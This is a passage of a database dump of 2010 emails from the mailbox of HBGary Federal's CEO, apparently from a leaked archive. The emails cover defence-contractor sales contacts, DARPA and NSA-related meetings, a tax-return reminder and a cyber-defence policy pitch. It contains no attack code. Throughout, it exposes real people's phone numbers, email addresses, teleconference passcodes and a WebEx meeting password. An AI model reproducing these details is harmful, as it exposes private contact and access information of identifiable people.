Tel: (505)844-0471 Fax: (505) 844-0011Email: gnconra@sandia.gov \r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, February 24, 2010 10:58 AM\r\nTo: Conrad, Gregory NSubject: HBGary follow up re: DDNA for analyzing large volumes of data with behaviors\r\n\r\n\r\n\r\n \r\n\r\nHi Greg\r\n\r\n \r\n\r\nIs there a good time to call you back about helping you with your project for analyzing volumes of malware using behavorial analysis?\r\n\r\n \r\n\r\nThanks,\r\n\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',8033,'aaron_hbgary_com/8033.html'),(3053,'2010-02-24','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001444.M180466P3547Q3053.eml','\"Aaron Barr\" <aaron@hbgary.com>','NOtes','\r\n\r\n\r\n\r\n\r\nNOtes\r\n\r\n\r\n\r\n\r\nSend me comments from Darpa\r\n\r\nWill send notes from last night later\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',12429,'aaron_hbgary_com/12429.html'),(3054,'2010-02-24','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297001444.M377087P3547Q3054.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Discussion with Nolan','BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID://RESEARCH IN MOTION//BIS 3.0\r\nMETHOD:REPLY\r\nBEGIN:VEVENT\r\nSEQUENCE:1\r\nX-RIM-REVISION:7\r\nUID:DAA4057A-AC9D-4197-8ED1-1733B646F944\r\nDTSTAMP:20100224T200401Z\r\nATTENDEE;PARTSTAT=ACCEPTED:MAILTO:nolan@informationsecuritysolutionsllc.com\r\nDTSTART:20100226T143000Z\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n\r\n',2895,'aaron_hbgary_com/2895.html'),(3055,'2010-02-24','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297001444.M595355P3547Q3055.eml','\"Aaron Barr\" <aaron@hbgary.com>','Meeting: COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI sent a\r\nmeeting notice for a meeting/teleconference for tomorrow at noon.&nbsp; Are you available\r\nto participate?\r\n\r\n&nbsp;\r\n\r\nThank&nbsp; you,\r\n\r\nIrene\r\n\r\n703-633-8473\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Harris, Irene G (TASC Inc) On Behalf Of Pisani, Albert A.\r\nSent: Wednesday, February 24, 2010 10:41 AM\r\nTo: Pisani, Albert A.; \'Aaron Barr\'; Clair, Chris (TASC Inc); Garcia,\r\nKathy (TASC Inc); Heider, Raymond A (TASC Inc); Hill, Lawrence C (TASC Inc);\r\nLovegrove, John (TASC Inc)\r\nSubject: COIN follow up\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: WF4 -- Executive Conference Room and Teleconference:\r\n866.740.2200, x4182684#\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeeting time: 12:00-1:00 pm EST\r\n\r\n&nbsp;\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2779,'aaron_hbgary_com/2779.html'),(3056,'2010-02-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001444.M909770P3547Q3056.eml','\"Aaron Barr\" <aaron@hbgary.com>','GD / GMU discussion: DARPA Cyber Genome BAA response','\r\n\r\n\r\n\r\n\r\nGD / GMU discussion: DARPA Cyber Genome BAA response\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 24, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUPDATE: time has to move to 4 PM Eastern today; let me know if this is a problem.\r\n\r\nGD / GMU discussion: DARPA Cyber Genome BAA response\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n',6990,'aaron_hbgary_com/6990.html'),(3057,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001445.M118808P3547Q3057.eml','\"Bob P Frisbie\" <Robert.Frisbie@mantech.com>','','Just a few minutes late went to the wrong building.\r\nAaron\r\n\r\n From my iPhone\r\n',7591,'aaron_hbgary_com/7591.html'),(3058,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001445.M302727P3547Q3058.eml','\"Harris, Irene G (TASC Inc)\" <irene.harris@tasc.com>','Re: Meeting: COIN','YesFrom my iPhoneOn Feb 24, 2010, at 3:06 PM, &quot;Harris, Irene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI sent a\r\nmeeting notice for a meeting/teleconference for tomorrow at noon.  Are you available\r\nto participate?\r\n\r\n \r\n\r\nThank  you,\r\n\r\nIrene\r\n\r\n703-633-8473\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Harris, Irene G (TASC Inc) On Behalf Of Pisani, Albert A.\r\nSent: Wednesday, February 24, 2010 10:41 AM\r\nTo: Pisani, Albert A.; &#39;Aaron Barr&#39;; Clair, Chris (TASC Inc); Garcia,\r\nKathy (TASC Inc); Heider, Raymond A (TASC Inc); Hill, Lawrence C (TASC Inc);\r\nLovegrove, John (TASC Inc)\r\nSubject: COIN follow up\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: WF4 -- Executive Conference Room and Teleconference:\r\n866.740.2200, x4182684#\r\n\r\n \r\n\r\n \r\n\r\nMeeting time: 12:00-1:00 pm EST\r\n\r\n \r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5729,'aaron_hbgary_com/5729.html'),(3059,'2010-02-24','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297001445.M520464P3547Q3059.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting: COIN','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron!\r\n\r\n&nbsp;\r\n\r\nCan you send me your cell number (or office number)?\r\n\r\n&nbsp;\r\n\r\nIrene\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 3:09 PM\r\nTo: Harris, Irene G (TASC Inc)\r\nSubject: Re: Meeting: COIN\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYes\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 3:06 PM, &quot;Harris, Irene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI sent a meeting notice for a\r\nmeeting/teleconference for tomorrow at noon.&nbsp; Are you available to\r\nparticipate?\r\n\r\n&nbsp;\r\n\r\nThank&nbsp; you,\r\n\r\nIrene\r\n\r\n703-633-8473\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Harris, Irene G (TASC Inc) On Behalf Of Pisani, Albert A.\r\nSent: Wednesday, February 24, 2010 10:41 AM\r\nTo: Pisani, Albert A.; \'Aaron Barr\'; Clair, Chris (TASC Inc); Garcia,\r\nKathy (TASC Inc); Heider, Raymond A (TASC Inc); Hill, Lawrence C (TASC Inc);\r\nLovegrove, John (TASC Inc)\r\nSubject: COIN follow up\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: WF4 -- Executive Conference Room and Teleconference:\r\n866.740.2200, x4182684#\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeeting time: 12:00-1:00\r\npm EST\r\n\r\n&nbsp;\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',854,'aaron_hbgary_com/854.html'),(3060,'2010-02-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001445.M734597P3547Q3060.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','GD','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nOn the HBGary product side, Penny and I are getting\r\nimpatient with GD.&nbsp; They have had multiple meetings with us for months\r\nwhere they profess love for us and our products, but to date they haven&#8217;t\r\ntaken action toward any purchases.&nbsp; Chris Starr is their point man to get\r\nHBGary going with the internal GD-AIS SOC who happens to use ePO.&nbsp; DC3 has\r\npurchased one copy of Responder and are in the act of buying just 3 more\r\nthrough GD, but we wonder why there isn&#8217;t more DC3 product sales\r\naction.&nbsp; GD talks about using HBGary products within their security\r\nservices engagements, but that hasn&#8217;t happened yet.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to see some quid pro quo from GD to put up\r\nsome actual cash on the product side as a way to say &#8220;Thank you&#8221;\r\nfor teaming with them.&nbsp; One of my next conversations with Chris was going\r\nto be along these lines, but maybe you can participate in the arm twisting.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8542,'aaron_hbgary_com/8542.html'),(3061,'2010-02-24','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001445.M926116P3547Q3061.eml','aaron@hbgary.com','Register now for DISA Customer Partnership Conference 2010','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n          \r\n          \r\n	\r\n		\r\n\r\nDISA Customer Partnership Conference 2010  \r\n    The Next Engagement  \r\n  May 3-7, 2010  \r\n  Nashville, TN  \r\n  Conference sponsored by DISA. Conference support provided by AFCEA International.\r\n\r\nThe DISA Customer Partnership Conference 2010 will be held May 3-7, at the Gaylord Opryland Hotel and Convention Center in Nashville, Tennessee. \r\nThis year\'s conference theme is &ldquo;The Next Engagement...&rdquo; and will promote: &nbsp;\r\n\r\n  Building partnerships;\r\n  Working together to increase the speed of delivery to the warfighter;\r\n  Breaking down the information barriers; and \r\n  Envisioning solutions that will prepare us for &ldquo;The Next Engagement&hellip;&rdquo;\r\nRegister now to lock in the best rates and save up to $200! Early registration ends March 15. \r\nGovernment employees will pay a $450 registration fee prior to or on March 15. After March 15, the registration fee for government employees will be $475.\r\nContractors, industry partners, and coalition partners will pay a $695 registration fee prior to or on March 15. After March 15, the registration fee for industry partners will be $895.\r\nDownload this fact sheet to explain to your chain of command what the conference is all about, how you&rsquo;ll benefit from attending, and what the registration fee includes. \r\nSponsorship and exhibit opportunities are available!\r\nFor patron and sponsor information, contact Gina McGovern.\r\n\r\nFor exhibit information click here or contact J. Spargo &amp; Associates at exhibits@jspargo.com. &nbsp;\r\nWe look forward to seeing you in Nashville! \r\n&nbsp;\r\n\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n		\r\n	\r\n\r\n\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',49,'aaron_hbgary_com/49.html'),(3062,'2010-02-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001446.M120646P3547Q3062.eml','jajodia@gmu.edu,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Lotas, Michael S.\" <Michael.Lotas@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','GD / GMU discussion: DARPA Cyber Genome BAA response','\r\n\r\n\r\n\r\n\r\nGD / GMU discussion: DARPA Cyber Genome BAA response\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, February 24, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD / GMU discussion: DARPA Cyber Genome BAA response\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\nIf we need WebEx:\r\n\r\n-------------------------------------------------------\r\nTo join the online meeting\r\n-------------------------------------------------------\r\n1. Go to https://gdais.webex.com/gdais/e.php?AT=MI&amp;EventID=123757592&amp;UID=0&amp;PW=1c545412164d50\r\n2. Enter your name and email address.\r\n3. Enter the meeting password: darpa\r\n\r\n\r\n\r\n\r\n\r\n',14904,'aaron_hbgary_com/14904.html'),(3063,'2010-02-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001446.M304904P3547Q3063.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','I think Jason is being nice','I don\'t think this has much relevance\r\n\r\n From my iPhone\r\n',383,'aaron_hbgary_com/383.html'),(3064,'2010-02-24','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001446.M487224P3547Q3064.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I think Jason is being nice','I agree -- I was not convinced this would apply\r\n\r\nChris\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 4:39 PM\r\nTo: Starr, Christopher H.\r\nSubject: I think Jason is being nice\r\n\r\nI don\'t think this has much relevance\r\n\r\n From my iPhone\r\n',15869,'aaron_hbgary_com/15869.html'),(3065,'2010-02-24','rich@hbgary.com','/aaron@hbgary.com/new/1297001446.M671889P3547Q3065.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Berkley/SRI','I\'m teaching a class in sac. What time? \r\n------Original Message------\r\nFrom: Aaron Barr\r\nTo: Rich Cummings\r\nSubject: Berkley/SRI\r\nSent: Feb 24, 2010 2:26 PM\r\n\r\nRich,\r\n\r\nCan you support a telecon tomorrow or Friday to discuss Berkley and SRI efforts in RE and Malware analysis.  This is in concert with GD to vet their capabilities.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n',9545,'aaron_hbgary_com/9545.html'),(3066,'2010-02-24','\"John L. Cox, CPA\" <johncoxcpa@verizon.net>','/aaron@hbgary.com/new/1297001446.M890227P3547Q3066.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','HBGary Federal LLC 2009 Tax Returns','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Ted,\r\n\r\n&nbsp;\r\n\r\nWhen do you think you will be able to approve the tax\r\nreturns for 2009 so I can finalize them?&nbsp; I need to incorporate into the\r\nHBGary, Inc. tax returns that are due soon.&nbsp; Thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJohn L. Cox, CPA\r\n\r\n12107\r\n  Faith Lane\r\n\r\nBowie, Maryland 20715\r\n\r\n(240) 949-6022 Voice \r\n\r\n(866) 750-1973 Fax\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nmessage contains information that may be confidential and privileged. Unless\r\nyou are the addressee (or authorized to receive for the addressee), you may not\r\nuse, copy, print or disclose to anyone the message or any information contained\r\nin the message. If you have received this e-mail in error, please advise the\r\nsender by reply and delete the message. Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',705,'aaron_hbgary_com/705.html'),(3067,'2010-02-24','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297001449.M314181P3547Q3067.eml','all@hbgary.com','Dinner at Lions Gate fro training','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe buffet dinner Will Be held at the LIONS GATE Hotel\r\nstarts at 5:30 and ends at 8:30. &nbsp;The address is 3410 Westover\r\nStreet,&nbsp; Sacramento ( McClellan ) 95652.&nbsp; Attached is the MapQuest\r\ndirections.\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1262,'aaron_hbgary_com/1262.html'),(3068,'2010-02-25','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297001451.M765784P3547Q3068.eml','aaron@hbgary.com','Call me','\r\n\r\n\r\n\r\n\r\nCall me\r\n\r\n\r\n\r\n\r\n410-919-8067\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n&quot;It is not necessary to change.&nbsp; Survival is not mandatory.&quot; ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n',10805,'aaron_hbgary_com/10805.html'),(3069,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001451.M964163P3547Q3069.eml','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','Re: Call me','Kurt,Thanks for the call. &nbsp;I am checking my guys in waiting. &nbsp;For REs at least one has a full scope has a good amount of experience in RE/Malware analysis.AaronOn Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n410-919-8067\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n\"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5115,'aaron_hbgary_com/5115.html'),(3070,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001452.M582875P3547Q3070.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Fwd: Berkley/SRI','Chris,Rich is on West coast teaching our malware/responder class, probably could do a 5pm PST or later? &nbsp;That might be kind of tough. &nbsp;I am checking Shawn. &nbsp;We have a guy on the east coast, Phil that might be able to do it also..checking.AaronBegin forwarded message:From: rich@hbgary.comDate: February 24, 2010 3:49:43 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Re: Berkley/SRIReply-To: rich@hbgary.comI\'m teaching a class in sac. What time? ------Original Message------From: Aaron BarrTo: Rich CummingsSubject: Berkley/SRISent: Feb 24, 2010 2:26 PMRich,Can you support a telecon tomorrow or Friday to discuss Berkley and SRI efforts in RE and Malware analysis. &nbsp;This is in concert with GD to vet their capabilities.Thanks,Aaron BarrCEOHBGary Federal Inc.Sent from my Verizon Wireless BlackBerry\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12348,'aaron_hbgary_com/12348.html'),(3071,'2010-02-25','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297001452.M784080P3547Q3071.eml','aaron@hbgary.com','Re: EXTERNAL:Re: Call me','\r\nThat would help a lot I think, as it would be a great way to get your kit in front of the NSA right?  Send your guy in and show them how you do the work of 3 or more RE guys using HBGary. I will set up a meet for us the week of 3/7. Looking forward to it. Kurt HakensonChief TechnologistElectronic Systems SectorNorthrop Grumman Corp. 410-993-6499&quot;It is not necessary to change.  Survival is not mandatory.&quot; ~W. Edwards Deming\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 24 21:00:07 2010Subject: EXTERNAL:Re: Call me\r\nKurt,Thanks for the call. &nbsp;I am checking my guys in waiting. &nbsp;For REs at least one has a full scope has a good amount of experience in RE/Malware analysis.AaronOn Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n410-919-8067\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n\"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16446,'aaron_hbgary_com/16446.html'),(3072,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001453.M243712P3547Q3073.eml','\"Jake Olcott\" <Jacob.Olcott@mail.house.gov>','Implementation','Jake,\r\n\r\nA few more thoughts on how you improve where we are with what we have.\r\n\r\nWe have discussed the concept of a threat intelligence center capability.  This is a combination of J2/J3 functions but in most places that I have experienced these two organizations are not nearly living to their potential.  Lots of reasons why, contracts, ignorance, territory, etc.  So fund a small center out of those two groups at each national and service CERT.  The centers job is to develop full-spectrum cyber/intel threat maps/reports.  As the threat models are matured we will gain significant insight and measurable datapoints on the threats.  The more datapoints you have the easier it is to attribute/correlate attacks, the easier it is to track evolving attacks, etc.  These models serve also as knowledge management mulptipliers as you integrate them into the incident handling work flow.  So instead of trying to hire 20 more qualified analysts you get to improve the capability of what you have by having 2-4 highly qualified analysts that are developing the maps/reports that get leveraged first for incident response.  This is improving the brain, existing technology and staff, just need to fund the centers and pick the right approach.  In this model I don\'t think you need to integrate very tightly the CERTs, just the TICs.\r\n\r\nSecond phase.  Integrate new brain into defense.  Also need to tie host/network/perimeter defense.  The most indepth knowledge gained is on the host but not as fast as network/perimeter.  So integrate host based malware analysis capabilities with network/perimeter (inline) devices.  tipping and queuing. So when the host sees something it gets pushed out the network/perimeter for action.  This doesn\'t happen but easily could.  As one example we are integrating our host based malware analysis tools with Fidelis network/perimeter appliances so we can more effectively block on the wire rather than just on the host.  There are other examples of integration points that just arent being leveraged.\r\n\r\nThird phase.  Mission integration.  So now we put defense in the context of the executing mission and can take more fine grained actions based on that information.\r\n\r\nThoughts?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15178,'aaron_hbgary_com/15178.html'),(3073,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001453.M426489P3547Q3074.eml','\"Bob Slapnik\" <bob@hbgary.com>','REBL','Am I on the slate to brief here?  When is it?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6232,'aaron_hbgary_com/6232.html'),(3074,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001453.M54435P3547Q3072.eml','\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Fwd: EXTERNAL:Re: Call me','Kurt talked to a buddy of his that manages a lot of the technology evaluation and insertion at NSA (he is a SETA). &nbsp;As you can see he is going to set up a meeting. &nbsp;This guy told kurt that if we have 2 REs that have full polys he can bring them on immediately doing CNCI work. &nbsp;I have 1 that is fully cleared. &nbsp;I need to find another.Anyone got any leads?AaronBegin forwarded message:From: \"Hakenson, Kurt E (IT Solutions)\" &lt;kurt.hakenson@ngc.com&gt;Date: February 24, 2010 10:11:32 PM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: EXTERNAL:Re: Call me\r\nThat would help a lot I think, as it would be a great way to get your kit in front of the NSA right?  Send your guy in and show them how you do the work of 3 or more RE guys using HBGary. I will set up a meet for us the week of 3/7. Looking forward to it. \r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp. \r\n410-993-6499\r\n\r\n\"It is not necessary to change.  Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Hakenson, Kurt E (IT Solutions)\r\nSent: Wed Feb 24 21:00:07 2010Subject: EXTERNAL:Re: Call me\r\n\r\nKurt,Thanks for the call. &nbsp;I am checking my guys in waiting. &nbsp;For REs at least one has a full scope has a good amount of experience in RE/Malware analysis.AaronOn Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n410-919-8067\r\n\r\n\r\n\r\nKurt Hakenson\r\nChief Technologist\r\nElectronic Systems Sector\r\nNorthrop Grumman Corp.\r\n410-993-6499\r\n\r\n\"It is not necessary to change.&nbsp; Survival is not mandatory.\" ~W. Edwards Deming\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7039,'aaron_hbgary_com/7039.html'),(3075,'2010-02-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001453.M618695P3547Q3075.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: REBL','Aaron,\r\n\r\nI sent the NSA guys another email tonight to get them to reply.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:53 PM\r\nTo: Bob Slapnik\r\nSubject: REBL \r\n\r\nAm I on the slate to brief here?  When is it?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2699 - Release Date: 02/24/10\r\n02:34:00\r\n\r\n',3785,'aaron_hbgary_com/3785.html'),(3076,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001453.M831803P3547Q3076.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: ONR Computer Network Defense Industry Day Notes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this what you heard today?\r\n\r\n&nbsp;\r\n\r\nONR BAA 10-004 Computer Network Defense/IA Enabling\r\nConcepts Industry Day\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPOC: Stanley Chincheck 